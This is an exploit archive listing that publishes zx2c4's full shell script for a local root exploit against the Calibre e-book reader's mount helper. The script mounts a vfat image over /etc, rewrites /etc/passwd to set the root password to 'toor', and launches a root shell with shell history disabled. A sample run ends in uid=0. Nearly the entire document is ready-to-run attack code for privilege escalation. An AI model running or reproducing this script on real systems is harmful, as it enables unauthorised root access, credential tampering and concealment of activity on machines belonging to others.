exploit the possibilities

Calibre E-Book Reader Local Root

Calibre E-Book Reader Local Root
Posted Nov 3, 2011
Authored by zx2c4

Calibre E-Book Reader local root exploit that uses the mount helper to mount a vfat filesystem over /etc and then tinkers with /etc/passwd to make the root password toor temporarily.

tags | exploit, local, root
MD5 | 2788d09f0cb78cd65e4b0baa83886e47

Calibre E-Book Reader Local Root

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#!/bin/sh

#######################################
# .60-Calibrer Assault Mount #
# by zx2c4 #
#######################################

################################################################################
# Yesterday we learned how Calibre's usage of execlp allowed us to override PATH
# and get root, in my ".50-Calibrer Assault Mount" exploit. Today we exploit a
# more fundumental issue with Calibre's mount helper -- namely, that it allows
# us to mount a vfat filesystem anywhere we want. By mounting a file system
# image over /etc, we are able to tinker /etc/passwd and make the root password
# temporarily "toor".
#
# - zx2c4
# 2011-11-2
#
# Usage:
# $ ./60calibrerassaultmount.sh
# [+] Making temporary directory: /tmp/tmp.OGgS0jaoD4
# [+] Making overlay image:
# 51200+0 records in
# 51200+0 records out
# 26214400 bytes (26 MB) copied, 0.100984 s, 260 MB/s
# mkfs.vfat 3.0.11 (24 Dec 2010)
# [+] Mounting overlay image using calibre-mount-helper.
# [+] Copying /etc into overlay.
# [+] Tampering with overlay's passwd.
# [+] Unmounting overlay image using calibre-mount-helper.
# [+] Mounting overlay to /etc using calibre-mount-helper.
# [+] Asking for root. When prompted for a password, enter 'toor'.
# Password: [typed in toor to the terminal]
# [+] Unmounting /etc using root umount.
# [+] Cleaning up: /tmp/tmp.OGgS0jaoD4
# [+] Getting shell.
# sh-4.2# id
# uid=0(root) gid=0(root) groups=0(root)
# sh-4.2# whoami
# root
# sh-4.2#
################################################################################


echo "#######################################"
echo "# .60-Calibrer Assault Mount #"
echo "# by zx2c4 #"
echo "#######################################"
echo
echo -n "[+] Making temporary directory: "
dir="$(mktemp -d)"
echo "$dir"
cd "$dir"
echo "[+] Making overlay image:"
dd if=/dev/zero of=overlay count=51200
/usr/sbin/mkfs.vfat overlay
echo "[+] Mounting overlay image using calibre-mount-helper."
mkdir staging
calibre-mount-helper mount overlay staging
echo "[+] Copying /etc into overlay."
cd staging/
cp -a /etc/* . 2>/dev/null
echo "[+] Tampering with overlay's passwd."
cat passwd | tail -n +2 > tmp
echo "root:$(echo -n 'toor' | openssl passwd -1 -stdin):0:0:root:/root:/bin/bash" >> tmp
mv tmp passwd
echo "[+] Unmounting overlay image using calibre-mount-helper."
cd ..
calibre-mount-helper eject overlay staging >/dev/null 2>&1
echo "[+] Mounting overlay to /etc using calibre-mount-helper."
calibre-mount-helper mount overlay /etc >/dev/null 2>&1
cd /
echo "[+] Asking for root. When prompted for a password, enter 'toor'."
su -c "echo \"[+] Unmounting /etc using root umount.\"; umount /etc; echo \"[+] Cleaning up: $dir\"; rm -rf \"$dir\"; echo \"[+] Getting shell.\"; HISTFILE=\"/dev/null\" exec /bin/sh"

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